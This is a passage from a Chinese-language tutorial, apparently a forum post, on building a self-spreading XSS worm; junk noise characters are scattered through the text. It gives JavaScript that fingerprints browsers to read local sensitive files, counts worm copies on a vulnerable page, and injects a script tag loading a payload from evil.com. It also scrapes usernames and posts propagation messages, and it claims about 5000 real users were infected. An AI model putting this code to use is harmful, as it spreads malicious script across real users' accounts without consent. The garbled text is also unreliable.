Actual_Name="Unknown Navigator"" U. B. @4 M( C1 Z9 O6 f4 L: G; v
5 S/ u! U4 |$ m: A Actual_Version="Unknown Version"
) c4 j) @% _! _- T( _8 l* L$ r+ o- `/ B. m
}4 r+ q# J+ j+ K
; w9 g! Q4 ^, u
) {9 ^; h- P5 P$ `( A( S
: [1 g& J: r' a$ E; }
navigator.Actual_Name=Actual_Name;
' E# |. }+ | v% d% n
6 ]2 P% i3 n1 |- _( @2 v6 j4 x navigator.Actual_Version=Actual_Version;
: r. w5 H) V4 J0 i
* L$ t% A2 d$ w $ @2 R$ t$ p: g! y2 e, ~3 B7 W
# c- h, n3 o. o/ t
this.Name=Actual_Name;( ?% X/ P6 c) G( C( i! `3 K) I
Y) `9 D. {- Q! p+ m# P' Q this.Version=Actual_Version;
0 s* l/ g" ^* {1 I+ L) v( t. J5 b
}1 v( b/ _, v% G; a& T
- w' N: |, \! C( v browserinfo();9 G( p9 v; Q6 L+ h, w6 X
" ~; } c( W, L
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 n' l' z1 V" u' Q6 D H) [4 [9 M4 I, m, u9 L! P1 P0 p/ D
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
- B: d7 m$ E% J. h2 K1 O" t
. F: X3 ?' M, f& ~ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
- H' C+ }8 I5 b: H+ g, s2 y( c8 z; A. A7 N8 h7 K# ~ }2 x7 }5 C
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}, I4 n/ H# [0 Q; Q1 l, g
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码/ H' ? R# Z6 e3 A9 ]8 T% W
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ g/ {+ X1 _/ G1 Q9 M复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
9 U& n8 {6 F7 g6 y
$ X- G, i% j& O6 ~" l8 X3 G0 x0 dxmlHttpReq.send(null);( z1 c* p8 d. o( K, |( F
+ {; F; ?$ D+ }
var resource = xmlHttpReq.responseText;
- f% H0 }! m1 ]9 H# D2 G5 l8 S2 `: \+ N
var id=0;var result;& g9 r' _6 d" ~* X
/ q/ l% l) d# Q2 e3 h' T" s
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量., I6 M/ p& B+ C0 Y' C
; K, I, V2 p" h1 y" r7 l& Wwhile ((result = patt.exec(resource)) != null) {
/ T+ H( Q a8 v$ O% ^' f' ^' L# T' y; c% f$ A$ @- E! \4 {
id++;# v+ {$ K" D' x8 x( E
) C5 [# o/ ]: r3 f- w* I8 H/ V& |1 S2 }
}
; F$ Z" G, I& p1 ?复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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, L, I$ q* z" ~ z" m `7 yno=resource.search(/my name is/);; j' R2 f, N; E
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码./ I6 Q6 Q- ?, B3 {! Q9 f8 A
9 I' [5 }. ?5 a D9 s! n- Fvar post="wd="+wd; z4 Z/ f- ]( i
' w& K* b2 ?4 \+ n) ~7 O" W1 Z9 HxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.: Q8 \* h0 |: s; C D; ?
" @7 C5 P( { H( M: o ExmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& m) c& W( T" C- c8 w
3 `$ Y0 P0 u n; D: @6 B c- z0 @xmlHttpReq.setRequestHeader("content-length",post.length); 9 B3 M9 l1 o4 |7 B, n
/ q1 u. b0 I7 m! I3 O" _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");" M# l( h% T- i+ X |7 Z% b
9 Z* t0 l7 {3 }$ I3 s( _7 [xmlHttpReq.send(post);. O2 ?. R, s- a+ h
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Q0 E1 x. W2 }+ E: E: ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方2 ?9 u! a' K% k4 F% W, A, O# v
* E* F2 h, Q6 x+ {+ P7 Cvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.6 A G; ~7 g5 n0 F; K; ]
/ E5 t1 a3 b3 h$ _var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.; D+ s% B# [1 y! p" S
0 E7 `" n0 y2 @' k; v6 ]& x# bvar post="wd="+wd;5 \+ ]6 K+ z, w- [& X, O- z
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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( u. ~' u* |* l' qxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); 4 C. [3 M+ r% _5 j
, s4 D) Y2 A" x9 P$ [9 J: DxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.# Q p8 g6 m6 k& X
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& _/ g+ C$ f u& x$ R0 m& h0 f复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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( \( x7 t8 m6 N本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户./ W/ W: D1 b4 `: }& n; ^
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
. K1 G) E \# F9 W( H操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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" E" `, R; u" N8 l本文引用文档资料:
$ O5 w( o) }; Q4 _& k' m- ^6 k* t$ |
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
' ?/ i& T( K3 GOther XmlHttpRequest tricks (Amit Klein, January 2003)
8 f9 n& s2 ]# m: n, i2 s: C"Cross Site Tracing" (Jeremiah Grossman, January 2003)
! H# z6 [+ L* t1 mhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog9 q/ A1 [) H2 `/ E2 e0 g& Y
空虚浪子心BLOG http://www.inbreak.net
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